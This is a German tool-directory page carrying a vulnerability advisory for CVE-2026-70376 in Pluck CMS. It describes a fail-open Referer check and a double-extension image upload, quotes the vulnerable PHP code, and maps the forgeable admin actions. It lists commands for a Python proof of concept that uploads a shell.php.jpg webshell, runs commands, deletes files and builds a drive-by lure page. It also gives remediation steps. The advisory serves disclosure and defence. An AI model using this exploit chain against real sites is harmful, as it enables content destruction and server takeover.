Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-70376 — Advisory und Python-PoC für Pluck-CMS-CSRF: Fail-open-Referer-Prüfung plus Upload mit doppelter Dateiendung ermöglicht die Bereitstellung einer Webshell und Remote-Code-Ausführung. | Kitploit
Tools/GitHubGitHub/ilhomjonr/cve-2026-70376
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubilhomjonr/cve-2026-70376

CVE-2026-70376

Advisory und Python-PoC für Pluck-CMS-CSRF: Fail-open-Referer-Prüfung plus Upload mit doppelter Dateiendung ermöglicht die Bereitstellung einer Webshell und Remote-Code-Ausführung.

Repository anzeigen
3vor 29 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-70376 — Pluck CMS Website-weite CSRF → RCE

Fail-open-Referer-Prüfung + keine CSRF-Tokens + Upload mit doppelter Endung

Ein einziger Admin-Seitenbesuch löscht Inhalte, injiziert Seiten und hinterlässt eine Webshell

CVE CVSS 3.1 CWE CWE

Product Status Researcher

Auf einen Blick · Zusammenfassung · Grundursache · Angriffskette · Exploit · Behebung · Zeitleiste


📋 Auf einen Blick

CVE-IDCVE-2026-70376
Tracking-IDPT-2026-68036
Produktpluck-cms/pluck — Pluck CMS (flat-file PHP)
Betroffen4.7.x bis 4.7.21-dev / aktueller master
SchwachstelleCWE-352 (CSRF) · CWE-434 (uneingeschränkter Upload, Verstärker)
CVSS v3.18.0 — Hoch · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
VektorNetzwerk · keine Privilegien · ein einziger Admin-Seitenbesuch (UI:R)
AuswirkungInhaltslöschung/DoS, Injektion gespeicherter Inhalte, RCE auf Apache/mod_php
EingeführtCommit f79f916 (Dez. 2019) — verwundbare Logik seither vorhanden
ForscherIlhomjon Rustamov (@IlhomjonR)

🔎 Zusammenfassung

Das Pluck-Adminpanel hat im gesamten Codebase keine CSRF-Tokens pro Anfrage. Jede zustandsändernde Admin-Aktion wird durch eine einzige Funktion, requestedByTheSameDomain(), abgesichert, deren einzige Verteidigung ein Vergleich des Referer-Hosts ist — und diese Prüfung schlägt offen fehl (Fail-open): Wenn eine Anfrage ganz ohne Referer-Header eintrifft, gibt die Funktion true zurück und die Aktion wird erlaubt.

Da eine Angreifer-Seite vollständig kontrolliert, ob ein Referer gesendet wird (<meta name="referrer" content="no-referrer">), kann jeder angemeldete Administrator, der eine bösartige Seite besucht, gezwungen werden, privilegierte Aktionen cross-site auszuführen. Mehrere destruktive Aktionen laufen über GET, und Pluck setzt kein SameSite-Attribut auf PHPSESSID (Browser wenden SameSite=Lax an, das bei Top-Level-GET-Navigationen dennoch mitgesendet wird). Daher sind sie bei den Standard-Browsereinstellungen cross-site erreichbar.

Eine sekundäre Schwachstelle im Upload-Filter ermöglicht es derselben CSRF, eine Datei mit doppelter Endung shell.php.jpg zu platzieren — und macht aus der CSRF auf Apache/mod_php-Hosts eine Drive-by-RCE.


🧬 Grundursache

1. Fail-open-Referer-Prüfung — data/inc/functions.admin.php

root@kitploit:~
function requestedByTheSameDomain() {
    if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
    elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
    else { $myDomain = NULL; }

    if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
    else { $requestsSource = NULL; }

    $referelDomain = parse_url($requestsSource, PHP_URL_HOST);

    if ($myDomain != NULL && $requestsSource != NULL &&
        (strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
        return true;                 // Referer host == our host  -> allow
    } elseif ($myDomain == NULL || $requestsSource == NULL) {
        show_error("Be carefull with clicking links, ...", 1);
        return true;                 // Referer ABSENT -> FAIL OPEN -> allow  <==
    } else {
        return false;                // Referer host mismatch -> block
    }
}

Eine Cross-Site-Anfrage mit einem fremden Referer wird korrekt abgewiesen (der else-Zweig), was ein trügerisches Sicherheitsgefühl erzeugt — aber der Angreifer unterdrückt den Referer schlichtweg, trifft auf den Fail-open-Zweig, und die Anfrage wird erlaubt. Hinter dieser Prüfung gibt es keine Token-Schicht.

Die Prüfung wird einmal in admin.php ausgeführt und für die gesamte Aktions-Switch-Anweisung als vertrauenswürdig behandelt:

root@kitploit:~
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
    switch ($_GET['action']) {
        case 'deletefile':  include_once('data/inc/deletefile.php');  break;
        case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
        case 'deletepage':  include_once('data/inc/deletepage.php');  break;
        case 'module_delete': /* ... */
        case 'images':      include_once('data/inc/images.php');      break; // upload
        // ...
    }
}

2. Kein SameSite auf dem Session-Cookie (Verstärker)

Pluck ruft niemals session_set_cookie_params() auf, daher erbt PHPSESSID den leeren Standardwert → Browser wenden SameSite=Lax an, das bei Top-Level-GET-Navigationen dennoch mitgesendet wird. Über GET exponierte Aktionen (deletefile, deleteimage, deletepage, module_delete, theme_delete, logout) sind daher mit einem einzigen Seitenbesuch fälschbar.

3. Upload mit doppelter Dateiendung — data/inc/images.php (RCE-Verstärker)

root@kitploit:~
if (in_array($_FILES['imagefile']['type'],                       // client-controlled MIME
    array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
    $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
    if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
        show_error($lang['general']['upload_failed'], 1);         // only checks LAST 4 chars
    } else {
        copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
        // ...
    }
}

Beide Prüfungen lassen sich trivial umgehen:

  • Der MIME-Typ stammt vom Client ($_FILES[...]['type']) → einfach image/jpeg setzen;
  • Nur die letzten 4 Zeichen des Dateinamens werden validiert → shell.php.jpg endet auf .jpg und besteht die Prüfung.

Die Datei wird nach images/shell.php.jpg geschrieben; auf einem Apache/mod_php-Host mit Multi-Extension-Behandlung wird sie als PHP ausgeführt.


⛓️ Angriffskette

Ein einziger Seitenbesuch eines authentifizierten Admins — kein Klick.

root@kitploit:~
flowchart LR
    A[Admin logged into Pluck] --> B[Opens attacker page]
    B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
    C --> D[Top-level nav / auto-form to admin.php]
    D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
    E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
    F --> G1[deletefile / deletepage -> destruction / DoS]
    F --> G2[editpage -> stored-content injection]
    F --> G3["images upload -> shell.php.jpg -> RCE"]

Folgende Aktionen sind fälschbar:

AktionMethodeAuswirkung
admin.php?action=deletefile&var1=<f>GETBeliebige hochgeladene Datei löschen
admin.php?action=deletepage&...GETWebsite-Seiten löschen (DoS)
admin.php?action=module_delete&...GETModule entfernen
admin.php?action=logoutGETAdmin abmelden
admin.php?action=editpagePOSTGespeicherten Seiteninhalt injizieren
admin.php?action=images (Upload)POSTshell.php.jpg platzieren → RCE

💥 Exploit

Ein funktionierendes PoC-Werkzeugpaket befindet sich in exploit/:

  • pluck_csrf_rce.py — die Fail-open-Logik nachweisen, per CSRF eine Webshell hochladen und Befehle ausführen, per CSRF Dateien löschen oder einen Köder (Lure) erzeugen.
  • csrf_poc.html — die eigenständige Drive-by-Seite, die einem Opfer-Administrator zugestellt wird.
root@kitploit:~
pip install requests

# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe

# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
#   -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id

# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt

# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html

Die Python-Requests senden absichtlich keinen Referer und reproduzieren damit exakt einen Opfer-Browser unter einer no-referrer-Richtlinie. Eine Asymmetrie auf HTTP-Ebene, die die Logik bestätigt:

root@kitploit:~
Referer: http://attacker.example   ->  action BLOCKED   (else branch)
(no Referer header)                 ->  action SUCCEEDED  *** CSRF bypassed ***

⚠️ Der Schritt .php.jpg → RCE erfordert einen Apache/mod_php-Host, der Dateien mit mehreren Endungen durch PHP ausführt. Wenn das nicht konfiguriert ist, gelingt der CSRF-Upload weiterhin, und die destruktiven delete/deletepage-Primitive sind davon nicht betroffen — die CSRF ist der Kern-Bug; RCE ist der Verstärker.


🛠️ Behebung

  1. Ein echtes CSRF-Token hinzufügen — eine zufällige Nonce pro Session in jedem Admin-Formular und auf jedem zustandsändernden Link, serverseitig durch einen Vergleich in konstanter Zeit (constant-time) verifiziert. Das ist die eigentliche Korrektur; die Referer-Prüfung ist kein Ersatz.
  2. Fail closed — wenn die Origin-Validierung als Defense-in-Depth beibehalten wird, einen fehlenden Referer/Origin als nicht vertrauenswürdig behandeln. Den Origin-Header bevorzugen und ablehnen, wenn er fehlt oder nicht übereinstimmt.
  3. Niemals Zustand über GET ändern — deletefile, deletepage, logout usw. auf POST umstellen, damit SameSite=Lax einen Basisschutz bietet.
  4. Das Session-Cookie härten — SameSite=Strict (oder Lax), HttpOnly und Secure über session_set_cookie_params() setzen.
  5. Den Upload-Filter korrigieren — den endgültig gespeicherten Dateinamen gegen eine Allowlist exakter Endungen validieren, echte Bildinhalte verifizieren und dem vom Client gelieferten MIME-Typ niemals vertrauen.

🕒 Zeitleiste

DatumEreignis
2019-12Verwundbare requestedByTheSameDomain()-Logik eingeführt (f79f916)
2026-07-08Durch Quellcode-Audit entdeckt; End-to-End-PoC verifiziert
2026-08-10Advisory entworfen (PT-2026-68036)
2026-08-12CVE-2026-70376 zugewiesen; Advisory + PoC veröffentlicht

📚 Referenzen

  • CVE-2026-70376 — https://www.cve.org/CVERecord?id=CVE-2026-70376
  • CWE-352: Cross-Site Request Forgery — https://cwe.mitre.org/data/definitions/352.html
  • CWE-434: Unrestricted Upload of File with Dangerous Type — https://cwe.mitre.org/data/definitions/434.html
  • Pluck CMS — https://github.com/pluck-cms/pluck

⚖️ Haftungsausschluss

Dieses Material wird ausschließlich für Lehr- und Verteidigungszwecke sowie für autorisierte Sicherheitstests veröffentlicht. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch.

Gefunden & dokumentiert von @IlhomjonR · CVE-2026-70376 · PT-2026-68036

Tool herunterladen